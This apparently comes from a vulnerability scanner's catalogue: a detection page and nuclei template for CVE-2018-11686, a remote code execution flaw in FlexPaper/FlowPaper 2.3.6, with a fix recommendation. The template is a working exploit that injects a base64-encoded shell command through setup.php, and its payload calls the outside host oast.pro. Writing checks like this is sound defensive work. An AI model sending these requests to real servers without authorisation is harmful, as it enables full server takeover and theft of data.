FlexPaper/FlowPaper 2.3.6 - Remote Code Execution

criticalseverity

9.8CVSS score

52.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.

Impact

Unauthenticated attackers can execute arbitrary code on the server through the Publish Service, leading to complete server compromise and access to all hosted documents.

Fix

Upgrade to FlowPaper version 2.3.7 or later, or remove the vulnerable Publish Service.

How to confirm it

Send: POST /php/change_config.php
Positive when: contains(header, "index.php?msg=Configuration%20saved!") and status_code == 302 || status_code == 200
Send: GET /php/setup.php?step=4&PDF2SWF_PATH=echo+{{cmd_b}}+%7C+base64+-d+%7C+sh+%3Econfig/output.txt%3B ; GET /php/config/output.txt
Positive when: contains(body_2, "Interactsh Server") and contains(content_type_2, "text/plain") and contains(location_1, "index.php")

Run it with nuclei: nuclei -id CVE-2018-11686 -u <target>

The full check

id: CVE-2018-11686

info:
  name: FlexPaper/FlowPaper 2.3.6 - Remote Code Execution
  author: iamnoooob,pdresearch,pszyszkowski
  severity: critical
  description: |
    The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.
  impact: |
    Unauthenticated attackers can execute arbitrary code on the server through the Publish Service, leading to complete server compromise and access to all hosted documents.
  remediation: |
    Upgrade to FlowPaper version 2.3.7 or later, or remove the vulnerable Publish Service.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11686
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-11686
    cwe-id: CWE-20
    epss-score: 0.52542
    epss-percentile: 0.98975
    cpe: cpe:2.3:a:flowpaper:flowpaper:2.3.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: flowpaper
    product: flowpaper
    shodan-query: title:"FlexPaper"
    fofa-query: title="FlexPaper"
  tags: cve,cve2018,flexpaper,flowpaper,rce,vkev,vuln

variables:
  cmd: "curl oast.pro"
  cmd_b: "{{base64(cmd)}}"

http:
  - raw:
      - |
        POST /php/change_config.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAVE_CONFIG=1&SWF_Directory=config/

      - |
        POST /php/change_config.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAVE_CONFIG=1&SWF_Directory=config/

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "index.php?msg=Configuration%20saved!")'
          - 'status_code == 302 || status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /php/setup.php?step=4&PDF2SWF_PATH=echo+{{cmd_b}}+%7C+base64+-d+%7C+sh+%3Econfig/output.txt%3B HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /php/config/output.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "Interactsh Server")'
          - 'contains(content_type_2, "text/plain")'
          - 'contains(location_1, "index.php")'
        condition: and

References

https://nvd.nist.gov/vuln/detail/CVE-2018-11686

Use this check only on systems you are authorised to test. Where the data comes from